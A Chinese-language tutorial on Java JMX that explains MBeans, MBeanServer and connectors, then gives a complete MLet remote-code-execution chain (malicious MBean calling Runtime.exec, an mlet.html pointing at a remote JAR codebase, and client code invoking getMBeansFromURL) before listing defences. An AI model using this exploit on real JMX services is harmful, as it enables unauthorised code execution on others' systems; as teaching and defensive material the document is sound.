JMX学习
字数 975 2025-08-24 16:48:17

JMX学习与攻击技术详解

JMX简介

JMX(Java Management Extensions,Java管理扩展)是一个为应用程序植入管理功能的框架,主要用于管理和监控Java应用程序中的资源。

JMX核心组件

1. MBean(Managed Bean)

MBean代表可管理的资源,是JMX架构中的核心概念。标准MBean需要遵循以下规范:

  1. 类名规范:实现类名必须与接口名对应(如User类实现UserMBean接口)
  2. 构造器要求:必须有无参构造器
  3. 方法规范:
    • getter方法不能接收参数
    • setter方法只能接收一个参数

示例MBean接口:

public interface UserMBean {
    String getName();
    void setName(String name);
    int getAge();
    void setAge(int age);
    void study(String subject);
}

实现类:

public class User implements UserMBean {
    private String name;
    private int age;

    // 构造器和方法实现...
}

2. MBeanServer

MBeanServer是MBean的注册中心和管理器,提供两种创建方式:

// 方式1:基础创建(jconsole不可见)
MBeanServer beanServer = MBeanServerFactory.createMBeanServer();

// 方式2:平台MBeanServer(jconsole可见)
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();

注册MBean到MBeanServer:

User bean = new User("job", 20);
ObjectName objectName = new ObjectName("com.relaysec.bean:type=user,name=UserImpl");
beanServer.registerMBean(bean, objectName);

3. Connector

Connector分为服务端(Server)和客户端(Client):

Connector Server

// 创建Connector Server
JMXServiceURL serviceURL = new JMXServiceURL("rmi", "127.0.0.1", 9876);
JMXConnectorServer connectorServer = 
    JMXConnectorServerFactory.newJMXConnectorServer(serviceURL, null, beanServer);

// 开启监听
connectorServer.start();
JMXServiceURL connnectorServerAddress = connectorServer.getAddress();
System.out.println(connnectorServerAddress);

// 关闭
connectorServer.stop();

Connector Client

// 连接服务端
String connectorAddress = "service:jmx:rmi://127.0.0.1:9876/stub/...";
JMXServiceURL address = new JMXServiceURL(connectorAddress);
JMXConnector connector = JMXConnectorFactory.connect(address);

// 获取连接
MBeanServerConnection beanServerConnection = connector.getMBeanServerConnection();

// 调用MBean方法
ObjectName objectName = new ObjectName("com.relaysec.bean:type=user,name=UserImpl");
beanServerConnection.invoke(objectName, "study", 
    new Object[]{"Chinese"}, 
    new String[]{String.class.getName()});

// 关闭连接
connector.close();

JMX攻击技术

1. 通过MLet实现远程代码执行

MLet是JMX中用于从远程加载MBean的机制,可被利用实现RCE。

攻击步骤:

  1. 创建恶意MBean:
public interface EvilMBean {
    public void Command(String cmd);
}

public class Evil implements EvilMBean {
    public void Command(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            rt.exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 将恶意类打包为JAR(如compromise.jar

  2. 创建MLet文件(mlet.html):

<html>
<mlet code="Evil" archive="compromise.jar" 
      name="MLetCompromise:name=evil,id=1" 
      codebase="http://127.0.0.1:4141">
</mlet>
</html>
  1. 启动Web服务提供这两个文件

  2. 攻击代码:

// 连接目标JMX服务
String connectorAddress = "service:jmx:rmi:///jndi/rmi://localhost:7896/jmxrmi";
JMXServiceURL address = new JMXServiceURL(connectorAddress);
JMXConnector connector = JMXConnectorFactory.connect(address);

// 获取MBeanServer连接
MBeanServerConnection beanServerConnection = connector.getMBeanServerConnection();

// 创建/获取MLet MBean
ObjectInstance evil = null;
try {
    evil = beanServerConnection.createMBean("javax.management.loading.MLet", null);
} catch (InstanceAlreadyExistsException e) {
    evil = beanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}

// 从远程加载恶意MBean
Object getMBeansFromURL = beanServerConnection.invoke(
    evil.getObjectName(), 
    "getMBeansFromURL", 
    new String[]{"http://127.0.0.1:4141/mlet"}, 
    new String[]{String.class.getName()});

// 执行恶意代码
HashSet res_set = ((HashSet)getMBeansFromURL);
Iterator itr = res_set.iterator();
ObjectInstance evil_bean = ((ObjectInstance)itr.next());
beanServerConnection.invoke(evil_bean.getObjectName(), "Command", 
    new Object[]{"123"}, 
    new String[]{String.class.getName()});

2. 攻击原理

漏洞点在于getMBeansFromURL方法:

  1. 创建/获取MLet MBean
  2. 调用getMBeansFromURL从远程URL加载mlet文件
  3. 解析mlet文件,如果存在codebase则从远程加载JAR
  4. 将恶意MBean注册到MBeanServer
  5. 调用恶意MBean的方法实现RCE

防御措施

  1. 限制JMX端口的网络访问
  2. 启用JMX认证
  3. 使用SSL/TLS加密JMX通信
  4. 禁用不必要的JMX功能(如MLet)
  5. 定期更新Java运行环境

总结

JMX作为Java管理扩展框架,提供了强大的管理和监控能力,但也存在安全风险。理解其核心组件(MBean、MBeanServer、Connector)和工作原理,有助于开发安全的JMX应用和防御相关攻击。MLet机制的滥用是JMX攻击的主要方式,通过严格控制远程代码加载可以有效降低风险。

JMX学习与攻击技术详解 JMX简介 JMX(Java Management Extensions,Java管理扩展)是一个为应用程序植入管理功能的框架,主要用于管理和监控Java应用程序中的资源。 JMX核心组件 1. MBean(Managed Bean) MBean代表可管理的资源,是JMX架构中的核心概念。标准MBean需要遵循以下规范: 类名规范:实现类名必须与接口名对应(如 User 类实现 UserMBean 接口) 构造器要求:必须有无参构造器 方法规范: getter方法不能接收参数 setter方法只能接收一个参数 示例MBean接口: 实现类: 2. MBeanServer MBeanServer是MBean的注册中心和管理器,提供两种创建方式: 注册MBean到MBeanServer: 3. Connector Connector分为服务端(Server)和客户端(Client): Connector Server Connector Client JMX攻击技术 1. 通过MLet实现远程代码执行 MLet是JMX中用于从远程加载MBean的机制,可被利用实现RCE。 攻击步骤: 创建恶意MBean: 将恶意类打包为JAR(如 compromise.jar ) 创建MLet文件(mlet.html): 启动Web服务提供这两个文件 攻击代码: 2. 攻击原理 漏洞点在于 getMBeansFromURL 方法: 创建/获取MLet MBean 调用 getMBeansFromURL 从远程URL加载mlet文件 解析mlet文件,如果存在codebase则从远程加载JAR 将恶意MBean注册到MBeanServer 调用恶意MBean的方法实现RCE 防御措施 限制JMX端口的网络访问 启用JMX认证 使用SSL/TLS加密JMX通信 禁用不必要的JMX功能(如MLet) 定期更新Java运行环境 总结 JMX作为Java管理扩展框架,提供了强大的管理和监控能力,但也存在安全风险。理解其核心组件(MBean、MBeanServer、Connector)和工作原理,有助于开发安全的JMX应用和防御相关攻击。MLet机制的滥用是JMX攻击的主要方式,通过严格控制远程代码加载可以有效降低风险。